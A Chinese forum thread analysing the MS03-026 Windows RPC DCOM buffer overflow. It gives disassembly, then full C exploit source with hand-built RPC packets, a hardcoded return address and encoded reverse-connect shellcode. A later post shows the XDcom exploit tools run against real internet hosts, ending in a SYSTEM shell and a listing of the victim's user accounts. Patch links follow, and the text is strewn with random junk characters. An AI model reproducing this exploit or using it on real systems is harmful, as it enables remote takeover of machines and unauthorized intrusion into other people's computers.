LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM ; S8 Y! S7 `% |# E" x邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 邮件：benjurry@xfocus.org # O) \0 l9 C& \) Z0 \$ o/ sLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 & ]6 k& n" Q4 [! o导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 + A3 Y- o' y( }& R+ R' P; L在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： ~* y _5 u. ?& n8 z+ U7 s问题代码如下： % a) v& c) ~4 i; OGetPathForServer： .text:761543DA push ebp * f2 e$ v. w3 U4 L3 H2 N) o.text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 ) S# M$ l; |& L$ c9 h2 g.text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx .text:761543E4 push esi " o7 H6 K& J6 @$ _$ ?9 v9 t.text:761543E5 mov esi, [ebp+hMem] # ? R2 y+ ~: T3 ~.text:761543E8 push edi .text:761543E9 push 5Ch .text:761543EB pop ebx $ ]( ]" D/ y5 I2 F1 W.text:761543EC mov [eax], esi % P) r1 G1 y% k6 `5 z. i.text:761543EE cmp [esi], bx & G/ r( \ j: u7 g1 J% P3 Z.text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF 8 w8 |% L2 K2 M5 ~- {) A# T1 I.text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF ! e' S8 R6 v% L8 U7 }& v. w. n.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 .text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 ( F+ o: u% U5 s6 F+ a.text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 GetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] % F+ q: I+ L; N! g6 _$ d. L8 r.text:7614DB75 lea edx, [eax+4] 5 _3 G4 Z; V$ D.text:7614DB78 mov ax, [eax+4] ) R- d+ H* w% e2 M.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C & y. T8 x) \( U' u.text:7614DB80 jz short loc_7614DB93 & j7 L5 `3 h& ?' ~# M7 Q3 b.text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 0 s9 X$ e0 O( O) _' `2 t7 ^& e.text:7614DB87 inc ecx .text:7614DB88 inc ecx ~9 m V( |( h: A.text:7614DB89 mov ax, [ecx+edx] ) j) K; \/ H( D# J.text:7614DB8D cmp ax, 5Ch ( x2 N* b% a! g" T.text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 - N$ a1 O- q7 L% r3 \" E 6 d8 L# m) h+ i* QOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 * a! l$ v$ R. J需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC % h+ R7 F Q' T. v, O) z$ l+ l3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 ; O7 x. U, R4 H, H; F, {# }7 U5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include #include % H; e, b7 L: q8 a- _* n#include l* ]+ B* }; g#include 5 H9 ~' |. j! {: ^7 b5 G% j7 o ^#include #include unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, ' r# N4 X2 `4 a) G3 }- F0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; ( F! v9 H) P; ^( G7 C+ m unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 7 n3 z9 I! J$ x8 ]0 W,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 2 v7 W+ r+ z* j) }" A, T/ O7 j,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 , x. V- v- ]9 ~! T8 X,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 3 E6 g1 U: N4 ~# M6 c,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ' @. `7 v) o! a% v+ a7 c,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 & U2 e" M* S: E" N- X: T,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ) A4 H2 I: O; u5 l( h" z9 o,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 & b; W# ^ x5 a; S1 j2 A,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 . _" {' }% D. j( l8 K! s* a; [,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 0 `5 }: A+ `$ Z) k* |3 M3 L,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 % B% J- L7 _; B( m,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 - f! O& {& N) D% Y2 Q' r. S,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 " c. v/ @, q, W0 g1 Y0 W3 H,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 R0 W2 ]3 V: n4 w6 V,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ) |# ^0 Q8 o2 X4 X% F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 2 g1 V5 N9 v7 R0 t,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 4 M! w: z' W( A% z; W,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 1 q, P) h9 ?: M {,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 , ^" D9 |* b, t4 V5 M+ V,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 2 }4 n/ C' g: S,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3 T8 v$ j, @# w3 N% L5 m( o& l,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 , y- _7 M( j7 s {,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 3 m- m/ k- r4 ^. Z1 {( A; a/ H,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 1 q' u. J; T5 z8 C0 ?. G# u,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 , h0 y) m) u) x5 v,0x00,0x00,0x00,0x00,0x00,0x00}; 9 ~) W8 z6 |3 D; Q' g$ k$ i1 E5 Funsigned char request2[]={ 5 t+ A9 B2 n A0 `0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 & [. P9 q4 g0 V6 E2 |4 D,0x00,0x00,0x5C,0x00,0x5C,0x00}; # W/ c$ ?" R1 A% V6 q! S1 e9 ^9 ]: Z2 l unsigned char request3[]={ 0x5C,0x00 8 A3 c, r# o; W/ N; e" B) C,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 6 x; r; O7 `3 w: J" h0 o& P, `,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 5 j+ i) N$ L- j" x2 L; }! J,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; - e; N5 T n F) v9 K 0 c) O! g$ K9 W. b: o. _, ]* Wunsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" % G3 I: a* B$ i* Z- n2 p"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 1 C# _! S) }) g/ X"\x46\x00\x58\x00" ! i! J/ h6 `% r: F"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 ! ^5 L# L# g3 S7 @0 V( F"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 ) b; T( {5 B' ], _//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 5 S4 {6 b* c& ^" B% P! S1 J//SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" 9 e: T0 p5 O0 Z"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 8 D& p1 w5 K- L' J"\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" % w- f" x3 h& o: x7 B"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" 9 ^0 q/ k6 o2 \' v! X* H$ x"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" # ]$ V. A4 z0 `7 n' j"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" , F# [4 W1 s; K! a7 m"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" 3 o- _, w* U' W0 h5 I+ |5 f"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" " i& @3 q3 y3 m2 x"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" / H5 I; T& m- q+ A3 C/ q4 @"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" & \! p( Z' R s$ R; n, h; k"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" ' \; I) w6 ~: f, R- j"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" + I* w9 {) I/ f$ f"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" * {2 g0 z: B* E; ]( E"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" . }# ^3 |. x& Q' k"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" ! ]* P7 ] \1 y- c: s"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 4 a9 j4 w' l# |: ^ unsigned char request4[]={ / L0 J0 ^1 j$ O9 Q$ a; ]& K0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 9 i8 ?5 p k, x3 R% Q,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C & G4 `8 t7 c, B; ]0 K8 }% f,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 , e4 f' L+ p3 m! O0 I# l1 p0 S}; ( ^* E5 H, R% Q6 V u+ T4 t void main(int argc,char ** argv) { , J2 u- N2 a4 T/ M* OWSADATA WSAData; SOCKET sock; int len,len1; SOCKADDR_IN addr_in; short port=135; unsigned char buf1[0x1000]; + N- I* r0 t9 d% J, E! ?unsigned char buf2[0x1000]; unsigned short port1; DWORD cb; , m* }: [7 B3 `0 t5 B# ~, U R if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) - `9 H$ m5 i+ c# K, A; R: V{ ; A" ?; `6 w# y( [; U# H, ~printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; . @! P" Z( l, |8 q} 0 C8 j7 t$ Q6 }8 K- n% }6 b8 Q ( Q; {- W4 }3 X# Z/ h1 g0 Saddr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); 1 c! C" q( Z: M* yaddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { ( c* f6 l+ e/ [, w5 Kprintf("Socket failed.Error:%d\n",WSAGetLastError()); return; } 9 W6 ?/ B; D8 S: A5 Nif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { 6 m5 Q6 F- p7 w, Y9 z5 L* dprintf("Connect failed.Error:%d",WSAGetLastError()); $ v; D+ c, X( Zreturn; " s3 w/ {0 |& W0 m8 V} port1 = htons (2300); //反向连接的端口 port1 ^= 0x9393; 1 Z3 L5 J X% b' ocb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); ' B/ |; f0 V/ M& N8 }memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 % P4 r- \9 ], `8 X*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); 1 Z- y( _; F& ^; J, [len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); ! e: Q+ ]! x) Rmemcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); # ~5 i P, n. y4 v% Y1 ^: Nmemcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); 0 i& a/ J5 L& i5 g& o*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; ( \* g- f& F( o- i! G//计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; " u$ p; Z1 M' N: S$ I*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; 7 z3 X6 q$ ~' E# L `! ]; Z/ A/ H*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) ' h4 e" E ^4 z6 H, c2 g{ 7 I/ h& u0 W; \8 K' Y) dprintf("Send failed.Error:%d\n",WSAGetLastError()); ' Z1 s' Y1 f3 j+ l( ireturn; } len=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) % o8 p, h0 g) p' X* q{ printf("Send failed.Error:%d\n",WSAGetLastError()); ) e% G/ n( y+ g2 U; _9 _return; } 8 G# h5 ?% X/ ]* O; g8 @* dlen=recv(sock,buf1,1024,NULL); } . N6 e+ e; \) p" C2 A 补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 ; C$ T$ j$ ]5 F. Y3 T4 @ + Z9 h; _1 O, H5 R7 ]. V/ W+ {$ z补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。

ASEE

补丁：
Windows NT 4.0 Server ：

/ f- C3 u7 a. ghttp://microsoft.com/downloads/d ... &displaylang=en
6 d7 b$ T8 P5 a$ {, @  n/ @8 }
Windows NT 4.0 Terminal Server Edition：

" g. q' U- D  m8 z8 X9 J: F3 Rhttp://microsoft.com/downloads/d ... &displaylang=en
3 `6 [9 w5 [4 r$ s% y
" i& D' y# @2 F% m% |& ZWindows 2000：

http://microsoft.com/downloads/d ... &displaylang=en
) r% y* Q% h5 L2 d（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
' G4 X/ Y; Q7 G/ C; o7 i0 w# `1 \
( I/ P# O- Z( ?* {" dWindows XP 32 bit Edition ：

7 q8 K- J6 p9 Y# Z$ vhttp://microsoft.com/downloads/d ... &displaylang=en
/ Z( Z! V& r. p/ V$ b; c
Windows XP 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en

6 ?% v, @' B7 R" G# ]( D8 ~3 ~Windows Server 2003 32 bit Edition：

4 m  |* ?- E$ C$ Q! r: Ahttp://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en
( G7 N* B3 p+ y. ]% K& e2 E3 s% P* F
7 o+ P4 f7 g" M: z* ~6 |+ \8 V
. {4 J; m. w$ c. K$ Q

2 b2 p: N  r9 K' t7 y$ ?& q& _; v+ I

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: - 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) 9 i3 f; U" S) A# C- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) . u# j" A0 p7 q/ F1 ?# z# ?$ X- 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) 8 ]! U/ t B' a6 {$ oUsage: chdcom / z2 D, r9 W% D: S, ~cedcom针对以下版本: - 0 Windows 2000 SP0 (english) - 1 Windows 2000 SP1 (english) 1 C0 s& y( J: ]; i3 o. j- 2 Windows 2000 SP2 (english) ; b0 E: G- ~7 ]5 U0 N) J8 h, Q- 3 Windows 2000 SP3 (english) # R7 k0 }* T( z& }9 C. M/ n5 R6 ? v- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) ) P% @( |, d0 v; u2 |- 6 Windows XP SP1 (english) Usage: endcom cygwin1.dll应用程序扩展 $ f; l: v! J, d) a溢出目标IP前.先用扫描器扫描开135端口的肉机. + N4 B0 k" K7 v( g; T, K6 F5 m* ]我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， . M7 q( F7 S& O7 R; R 比如说目标69.X.173.63开了135端口.Target ID是4 ' K8 E/ e/ P. xC:\dcom>chdcom 4 69.X.173.63 3 r: Y7 a" s/ W) [& e7 h9 o& k--------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry ; Y3 a- I* C0 s8 ]( [- Rewritten by HDM last - last by nic 1 g; }: E1 h. d6 x* j-Compiled and recorrected by pingker! - s9 P2 c: p3 p- Using return address of 0x77f92a9b 8 o ^( c( Z; g+ W8 Z- Dropping to System Shell... $ K: M7 P4 X; w3 @0 k2 G Microsoft Windows 2000 [Version 5.00.2195] ' ?9 Q# \' D4 t4 k! j( \ P(C) Copyright 1985-2000 Microsoft Corp. " R9 }0 F- l9 h7 q7 qC:\WINNT\system32> / i& Z, V. K3 g6 n5 l$ I成功溢出. * M. h5 K \& E( L" T. L- JC:\WINNT\system32>net user net user User accounts for \ ---------------------------------------------------------------------------- 2 d: t$ D& C5 D6 I: E--- Administrator ASPNET billbishopcom 4 Z, E! P$ f; \0 m6 [8 Edivyanshu ebuyjunction edynamic1 edynamic2 Guest infinityaspnet , |: d: y9 m7 n9 ~& 